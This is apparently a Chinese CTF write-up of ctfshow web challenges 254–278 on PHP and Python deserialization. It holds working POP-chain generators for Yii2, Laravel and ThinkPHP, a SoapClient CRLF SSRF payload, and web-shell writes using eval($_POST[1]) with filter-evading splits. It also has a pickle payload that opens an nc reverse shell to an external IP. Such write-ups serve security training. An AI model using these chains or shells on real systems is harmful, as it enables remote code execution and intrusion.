文章目录
WEB254
源码:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
没什么好说的,直接代码审计一下
Payload:?username=xxxxxx&password=xxxxxx
web255
源码:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
1、首先get传的username和password都是xxxxxx
因为源码里面
2、反序列化
<?php
class ctfShowUser{
public $isVip = true;
}
$user = serialize(new ctfShowUser);
echo $user;
构造语句
user=O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
BURP改包,注意分号需要编码。
web259-php原生类SoapClient
该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

源码:
<?php
highlight_file(__FILE__);
$vip = unserialize(\$_GET['vip']);
$vip->getFlag();
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop(\$xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
由于服务器带有cloudfare代理,我们无法通过本地构造XFF头实现绕过,我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,即可绕过cloudfare代理
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
web263
存在www.zip,把代码下载下来进行审计。
在inc.php那里发现这个:
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化
先看一下默认配置
接下来我们换一种配置模式
ini_set(‘session.serialize_handler’, ‘php_serialize’);
payload
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new user('1.php','<?php eval($_POST[1]);phpinfo(); ?>');
// $_SESSION['user'] = $user;
$A = serialize($user);
echo base64_encode('|'.$A);
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNToiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4iO3M6Njoic3RhdHVzIjtOO30=
先访问index.php
在limit输入payload,然后访问check.php
最后访问文件。
参考文章:
PHP中session的存储方式(WP)
深入浅析PHP的session反序列化漏洞问题
web265
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
payload
class ctfshowAdmin{
public $token=1;
public $password=1;
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
// echo serialize($a);
// echo "<br\>";
echo urlencode(serialize($a));
web264 大写绕过
源码
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
//可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GET方法提交过来的数据
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
//当异常被抛出时,其后的代码不会继续执行
}
这里我们简单分析一下,分析之后发现本来需要构造一个序列化然后结束的时候会自动打印flag,但是这边有一个限制,就是构造的参数里面不能包含ctfshow,这里可以用大写绕过。
当没有大写的时候
这里改成大写之后,即出现了flag
web267
打开页面

首先发现一个登入弱口令
然后登入之后这个页面变得不一样,找到一个小提示
这里的url格式是这样的
所以访问
url/?r=site/about&view-source得到反序列化点
payload ?r=backdoor/shell&code=poc
poc.php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /f*';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
``这个链子具体可以自己根据源码走一遍大概就懂了什么意思。
这里可以看我语雀上的博客: [Yii2 反序列化漏洞(CVE-2020-15148)复现](https://www.yuque.com/eliauk-qeitj/aacgpz/htevqt)


web268
前面还是跟上一篇一样,这里前面那条链子好像行不通,所以换一条链子
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo "<?php eval($_POST[1]);phpinfo();?>" > /var/www/html/basic/web/1.php';
///var/www/html/basic/web
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
这里的链子是参考大佬文章的我是怎么挖掘yii2反序列化0day的
有兴趣的话可以自己去挖掘
这题首先把路径外带出来,然后利用命令执行写马。

解密之后,直接写马
echo “<?php eval(\$_POST[1]);phpinfo();?>” > /var/www/html/basic/web/1.php

这里记住$符号一定要转义,不然就会报错

web269
这里还是跟之前一样,先试试原来的poc,发现没有用
然后试试是不是这个链子被封了
先试试PHPinfo然后发现被封了,没有回显
然后我们又继续换一条链子
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
这里执行成功说明,这条链子没有被禁用
这里继续外带,得到路径

然后发现这条链子也没用,写不了马。
这里找来了一个通用的链子
<?php
///backdoor/shell
//unserialize(base64_decode($_GET['code']))
//index.php?r=/backdoor/shell&code=1
// 通用链
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('phpinto', '1');
echo base64_encode(serialize($exp));
}
接着继续上面的步骤,写马。
web270
这里还用上面的通杀脚本
///backdoor/shell
//unserialize(base64_decode($_GET['code']))
//index.php?r=/backdoor/shell&code=1
// 通用链
namespace yii\rest {
class Action extends \yii\base\Action
{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\base {
class BaseObject
{
//
}
class Action
{
public $id;
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult extends BaseObject
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('phpinto', '1');
echo base64_encode(serialize($exp));
}
直接写马,然后发现马是写进去了但是执行不了。
这里需要加一个截断
shell"."_exec
echo “<?php ev"."al(\$_POST[1]);phpinfo();?>” > /var/www/html/basic/web/1.php


web271
laravel5.7反序列化漏洞
大家有兴趣可以下载源码自己去分析分析,这里可以提前先熟悉一下框架的poc怎么打,后续再详细学链子是怎么写出来的。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:14:15
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls${IFS}/'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
先ls康康目录,这里记住ls中间不能有空格,所以用绕过
① 空格过滤
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等


接下来就直接获取flag

web272
laravel5.7的链子被过滤了,找了laravel5.8的:
这里直接放poc
web274
thinkphp5.1的反序列化链,参考文章:
Thinkphp5.1 反序列化漏洞复现
很难的一条链,和这条链比起来前面的yii2和larvel5.8的链确实简单了不少。
poc
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'feng'=>new Request()
);
$this->append=array(
'feng'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
web275
源码
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
//接收post的数据
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
//'DOCUMENT_ROOT'当前运行脚本所在的文档根目录。在服务器配置文件中定义。
echo 'work done';
}
}else{
echo 'where is flag?';
}
这题主要是system函数,然后还是destruct销毁方法,所以我们只要让if($f->checkevil()===false)不成立,就不会用销毁文件,所以直接
?fn=php;cat f*

web276-python反序列化
查看源码
/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
参考文章:
一篇文章带你理解漏洞之 Python 反序列化漏洞
python 反序列化
这题坑的点有2个,一个就是没有回显,另外一个就是os.system用不了,不知道为什么,用os.popen就可以了。因为没回显,所以弹一下shell,bash弹不了,用nc:
import requests
import pickle
import base64
import string
import os
url = "http://5056613a-b7ba-45e5-b9ed-20d7dc0d66d6.challenge.ctf.show:8080/backdoor"
class exp(object):
def __reduce__(self):
return (os.popen,('nc 103.45.186.252 39543 -e /bin/sh',))
a=exp()
s=pickle.dumps(a)
params={
'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)

web278-禁用os.system
姿势同上

